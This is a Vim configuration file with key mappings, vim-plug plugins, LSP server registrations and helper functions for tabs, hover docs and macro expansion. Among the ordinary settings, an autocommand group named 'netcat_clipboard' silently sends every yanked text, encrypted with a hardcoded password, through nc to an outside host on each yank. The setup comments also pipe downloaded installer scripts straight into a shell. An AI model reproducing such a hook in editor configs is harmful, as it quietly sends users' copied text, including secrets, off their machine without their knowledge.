path: root/mac/vimrc

" /etc/vim/vimrc — self-contained; source of truth: /v1/dev_env/core/vim.sh
" gt: go to next tab (right, wraps)
" gT: go to previous tab (left, wraps)
" 2gt: go to tab number 2 (counted from 1 at the left)
" :q: close the current window, and the tab too if it was the last window in it
" ZZ: save if changed, then close the window (and the tab if it was the last window in it)
" ZQ: close the window WITHOUT saving (like :q!), and the tab too if it was the last window in it
" g<Tab>: jump to the last-accessed tab (press g, release, then Tab); toggles between two tabs
" Ctrl-w w: cycle windows in this tab, e.g. into and out of the K popup (Ctrl-w p toggles back)
" 7G12|: go to line 7, column 12 (normal-mode keys, no colon; 3w moves 3 words)
" Reset an edited cargo dependency: delete ~/.cargo/registry/src/<index>/<crate>-<ver>/ then run cargo fetch
"
" Setup (LSP servers below are optional — each is guarded by executable()):
"   plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
"              https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
"            then launch vim and run  :PlugInstall
"   rust:    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
"            rustup component add rust-analyzer
"   python:  curl -LsSf https://astral.sh/uv/install.sh | sh
"            uv tool install ruff && uv tool install pyright
"
" Stop vim from auto-loading defaults.vim, which loads AFTER this file and
" would otherwise silently override settings here. Everything is in this file.
let g:skip_defaults_vim = 1

" ===== Shortcuts: one line each, <leader> = \ (comment follows the |) =====
inoremap <C-a> <Home>|                                         " insert Ctrl-a: jump to line start
inoremap <C-e> <End>|                                          " insert Ctrl-e: jump to line end
inoremap <silent><expr> <C-l> pumvisible() ? "\<C-e>" : asyncomplete#force_refresh()| " insert Ctrl-l: toggle completion menu
inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>"|      " in menu Tab: next item
inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"|  " in menu Shift-Tab: previous item
inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>"|        " in menu Enter: accept item
nnoremap <C-a> 0|                                              " Ctrl-a: jump to line start
nnoremap <C-e> $|                                              " Ctrl-e: jump to line end
nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l>|             " Ctrl-l: clear search highlight
nnoremap <silent> <C-p> :<C-U>Files<CR>|                       " Ctrl-p: fuzzy-find a file
nnoremap <silent> <leader>rg :<C-U>Rg<CR>|                     " \rg: search text in project
nnoremap <silent> <leader>b :<C-U>Buffers<CR>|                 " \b: list open buffers
nnoremap <silent> <leader>n :<C-U>NERDTreeToggle<CR>|          " \n: toggle file tree
nnoremap <silent> gd :<C-U>call <SID>GotoDef()<CR>|            " gd: go to definition (Ctrl-o back)
nnoremap <silent> gi :<C-U>LspImplementation<CR>|              " gi: go to implementation
nnoremap <silent> gy :<C-U>tab LspTypeDefinition<CR>|          " gy: go to type definition in a new tab (e -> struct DirEntry)
nnoremap <silent> <leader>k :<C-U>call ToggleHover()<CR>|      " \k: toggle hover docs
nnoremap <silent> K :<C-U>call ToggleHover()<CR>|              " K: toggle hover docs (same as \k)
nnoremap <silent> <leader>D :<C-U>LspDocumentation<CR>|        " \D: show documentation
nnoremap <silent> <leader>e :<C-U>call ToggleDiagnostic()<CR>| " \e: show error on this line
nnoremap <silent> <leader>l :<C-U>lopen<CR>|                   " \l: list all errors
nnoremap <silent> <leader>a :<C-U>LspCodeAction<CR>|           " \a: code actions popup
nnoremap <silent> <leader>rn :<C-U>LspRename<CR>|              " \rn: rename symbol
nnoremap <silent> <leader>f :<C-U>LspDocumentFormat<CR>|       " \f: format file
nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR>|     " \em: expand macro under cursor


augroup netcat_clipboard
au!
au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &")
augroup END

filetype plugin indent on

set number
set wrap
set breakindent
set breakindentopt=shift:1
set expandtab
set shiftwidth=4
set softtabstop=4
set tabstop=4
set noautoindent
set nosmartindent
set hlsearch
set incsearch
set ignorecase
set smartcase
set scrolloff=8
set signcolumn=no
set foldcolumn=12
set laststatus=2
set statusline=%F
set wildmenu
set splitright
set splitbelow
set hidden          " gd/LSP jumps reuse the window even with unsaved changes
set noswapfile
set regexpengine=2
set completeopt=menu,menuone,noinsert,noselect

set mouse=a
if has('mouse_sgr')
  set ttymouse=sgr
endif

set undofile
set undodir=~/.vim/undo
if !isdirectory($HOME . '/.vim/undo')
  call mkdir($HOME . '/.vim/undo', 'p')
endif

if has('termguicolors')
  if !empty($TMUX)
    let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum"
    let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum"
  endif
  set termguicolors
endif
colorscheme zellner

autocmd InsertLeave * silent! update

" Files rustup and cargo manage (toolchains, downloaded crates) open locked; :setl ma noro to override
function! s:LockIfManaged() abort
  if !exists('s:managed')
    let l:cargo = empty($CARGO_HOME) ? expand('~/.cargo') : $CARGO_HOME
    let s:managed = [trim(system('rustup show home')), l:cargo . '/registry', l:cargo . '/git']
  endif
  for l:dir in s:managed
    if stridx(expand('%:p'), l:dir . '/') == 0
      setlocal readonly nomodifiable
      return
    endif
  endfor
endfunction
augroup managed_readonly
  autocmd!
  autocmd BufReadPost * call s:LockIfManaged()
augroup END


call plug#begin('~/.vim/plugged')
Plug 'prabirshrestha/async.vim'
Plug 'prabirshrestha/vim-lsp'
Plug 'prabirshrestha/asyncomplete.vim'
Plug 'prabirshrestha/asyncomplete-lsp.vim'
Plug 'rust-lang/rust.vim'
Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
Plug 'junegunn/fzf.vim'
Plug 'tpope/vim-commentary'
Plug 'tpope/vim-surround'
Plug 'tpope/vim-fugitive'
Plug 'airblade/vim-gitgutter'
Plug 'preservim/nerdtree'
Plug 'andymass/vim-matchup'
call plug#end()

let g:gitgutter_sign_column_always = 0


" rust-analyzer via the rustup proxy shim (portable across toolchains/machines)
if executable(expand('~/.cargo/bin/rust-analyzer'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'rust-analyzer',
  \   'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]},
  \   'allowlist': ['rust'],
  \   'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))},
  \   'initialization_options': {
  \     'completion': {
  \       'autoimport': { 'enable': v:true },
  \       'postfix':    { 'enable': v:true },
  \     },
  \     'checkOnSave': v:true,
  \   },
  \ })
endif
if executable(expand('~/.local/bin/ruff'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'ruff',
  \   'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']},
  \   'allowlist': ['python'],
  \ })
endif
let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv')
  \ ? '/opt/homebrew/bin/uv'
  \ : expand('~/.local/bin/uv')
if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin)
  " Launched through `uv run` (not the raw path) so it picks up whichever
  " project's .venv is active via cwd/VIRTUAL_ENV.
  au User lsp_setup call lsp#register_server({
  \   'name': 'ty',
  \   'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']},
  \   'allowlist': ['python'],
  \ })
endif
" tofu-ls (OpenTofu/Terraform .tf) for go-to-definition
if executable(expand('~/.local/bin/tofu-ls'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'tofu-ls',
  \   'cmd': {server_info -> [expand('~/.local/bin/tofu-ls'), 'serve']},
  \   'allowlist': ['terraform', 'terraform-vars'],
  \ })
endif
" gopls (Go) for go-to-definition
if executable(expand('~/go/bin/gopls'))
  au User lsp_setup call lsp#register_server({
  \   'name': 'gopls',
  \   'cmd': {server_info -> [expand('~/go/bin/gopls')]},
  \   'allowlist': ['go'],
  \   'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'go.mod'))},
  \ })
endif

" Force per-keystroke LSP sync for Python (vim-lsp only syncs on
" InsertLeave/TextChanged by default, not while actively typing).
autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged

let g:lsp_diagnostics_echo_cursor          = 1
let g:lsp_diagnostics_float_cursor         = 0
let g:lsp_diagnostics_virtual_text_enabled = 0
let g:lsp_diagnostics_signs_enabled        = 0
let g:lsp_document_highlight_enabled       = 0
let g:lsp_preview_float                    = 0
let g:lsp_hover_ui                         = 'preview'
let g:lsp_code_action_ui                   = 'float'   " \a = one popup menu, not 3 windows
let g:lsp_signature_help_enabled           = 0

function! s:set_preview_height() abort
  let &previewheight = max([10, &lines * 40 / 100])
endfunction
call s:set_preview_height()
autocmd VimResized * call s:set_preview_height()

" Toggle hover docs in the preview window.
function! ToggleHover() abort
  for l:nr in range(1, winnr('$'))
    if getwinvar(l:nr, '&previewwindow')
      pclose
      return
    endif
  endfor
  LspHover
endfunction

" Show the current line's diagnostic in a preview window.
function! ToggleDiagnostic() abort
  for l:nr in range(1, winnr('$'))
    if getwinvar(l:nr, '&previewwindow')
      pclose
      return
    endif
  endfor
  let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic()
  if empty(l:diag)
    echo 'No diagnostic on this line'
    return
  endif
  let l:cur = win_getid()
  botright new
  execute 'resize ' . &previewheight
  setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow
  call setline(1, split(l:diag['message'], "\n"))
  setlocal nomodifiable
  call win_gotoid(l:cur)
endfunction


" rust-analyzer macro expansion (LSP extension, no built-in command).
function! ExpandMacro() abort
  let l:params = {
    \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() },
    \ 'position': lsp#get_position(),
    \ }
  call lsp#send_request('rust-analyzer', {
    \ 'method': 'rust-analyzer/expandMacro',
    \ 'params': l:params,
    \ 'on_notification': function('s:expand_macro_handler'),
    \ })
endfunction

function! s:expand_macro_handler(data) abort
  if !has_key(a:data, 'response') || empty(a:data['response'])
    echo 'ExpandMacro: no response / not a macro'
    return
  endif
  let l:result = get(a:data['response'], 'result', v:null)
  if l:result is v:null
    echo 'ExpandMacro: nothing to expand at cursor'
    return
  endif
  botright new
  setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust
  call setline(1, split('// expansion of: ' . l:result['name'], "\n"))
  call append(line('$'), split(l:result['expansion'], "\n"))
endfunction


" gd: say when rust-analyzer is still starting/indexing instead of a false "No definition found"
let g:lsp_work_done_progress_enabled = 1
function! s:GotoDef() abort
  if &filetype ==# 'rust'
    let l:st = lsp#get_server_status('rust-analyzer')
    if l:st !=# 'running'
      echo 'rust-analyzer ' . l:st . ', try again in a few seconds'
      return
    endif
    let l:busy = filter(copy(lsp#get_progress()),
      \ {_, p -> p['server'] ==# 'rust-analyzer' && get(p, 'title', '') !~? 'check'})
    if !empty(l:busy)
      echo 'rust-analyzer still indexing: ' . get(l:busy[0], 'title', '') . ' ' . get(l:busy[0], 'message', '')
      return
    endif
  endif
  tab LspDefinition
endfunction

" Numbered tab labels (1:main.rs 2:fs.rs): the number is what Ngt jumps to.
function! TabLine() abort
  let l:s = ''
  for l:i in range(1, tabpagenr('$'))
    let l:buf = tabpagebuflist(l:i)[tabpagewinnr(l:i) - 1]
    let l:name = fnamemodify(bufname(l:buf), ':t')
    if l:name ==# ''
      let l:name = '[No Name]'
    endif
    let l:hl = l:i == tabpagenr() ? '%#TabLineSel#' : '%#TabLine#'
    let l:s .= l:hl . ' ' . l:i . ':' . l:name . ' '
  endfor
  return l:s . '%#TabLineFill#'
endfunction
set tabline=%!TabLine()